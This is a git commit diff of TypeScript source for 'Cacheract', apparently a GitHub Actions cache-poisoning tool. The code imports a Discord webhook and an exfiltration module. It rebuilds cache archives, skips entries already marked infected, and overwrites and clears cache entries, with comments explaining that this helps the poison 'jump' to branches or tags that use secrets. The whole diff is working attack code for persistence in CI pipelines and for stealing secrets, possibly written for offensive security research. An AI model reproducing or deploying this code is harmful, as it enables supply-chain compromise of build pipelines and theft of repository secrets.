11import * as fs from 'fs' ;
22import * as crypto from 'crypto' ;
3- import { getToken , listCacheEntries , clearEntry , checkRunnerEnvironment , retrieveEntry , isInfected , listActions , isDefaultBranch , updateArchive , generateRandomString , prepareFileEntry } from './utils' ;
3+ import { getToken , listCacheEntries , clearEntry , checkRunnerEnvironment , retrieveEntry , listActions , isDefaultBranch , updateArchive , generateRandomString , prepareFileEntry , createArchive , isInfected } from './utils' ;
44import axios from 'axios' ;
55import { DISCORD_WEBHOOK , CHECKOUT_YML , REPLACEMENTS } from './config' ;
66import { reportDiscord } from './exfil' ;
@@ -172,8 +172,10 @@ async function createEntry(size: number): Promise<string> {
172172 throw error ;
173173 }
174174
175- return archivePath ;
175+ // Tar the directory
176+ await createArchive ( archivePath , sourceDir )
176177
178+ return archivePath ;
177179}
178180
179181async function createAndSetEntry (
@@ -237,6 +239,11 @@ async function main() {
237239 const { key, version, ref, size } = entry ;
238240 const currBranch = process . env [ 'GITHUB_REF' ] ;
239241
242+ if ( isInfected ( ) && currBranch === ref ) {
243+ console . log ( `Not attempting to clear entry as it already contains Cacheract.` ) ;
244+ continue ;
245+ }
246+
240247 if ( clearEntryFailed ) {
241248 if ( currBranch === ref ) {
242249 console . log ( `Skipping setting entry for key ${ key } due to previous clearEntry failure` ) ;
@@ -250,19 +257,28 @@ async function main() {
250257
251258 let path = '' ;
252259 if ( currBranch !== ref ) {
253- // We are not in the default branch, create a new entry
260+ // Entry is not in the default branch, create a new entry
254261 path = await createEntry ( size ) ;
255262 } else {
263+ // Entry is in default branch, retrieve it
256264 path = await retrieveEntry ( key , version , accessToken , cacheServerUrl ) ;
257265 }
258266
267+ // Update the entry, whether we made one or retrieved it.
259268 const status = await updateEntry ( path ) ;
260269 if ( status ) {
270+
271+ // Attempt to clear the entry from the feature branch
272+ // this will help us jump (such as to a tag that uses a secret, etc).
261273 const cleared = await clearEntry ( key , version , githubToken ) ;
262274 if ( ! cleared ) {
275+ // Likely means we do not have actions: write
263276 console . log ( `Failed to clear cache entry ${ key } !` ) ;
264277 clearEntryFailed = true ;
265-
278+
279+ // If entry is in non-default branch, but we
280+ // failed to clear the entry, then try to set it in the
281+ // default anyway.
266282 if ( currBranch !== ref ) {
267283 await createAndSetEntry ( size , key , version , accessToken , cacheServerUrl ) ;
268284 }
0 commit comments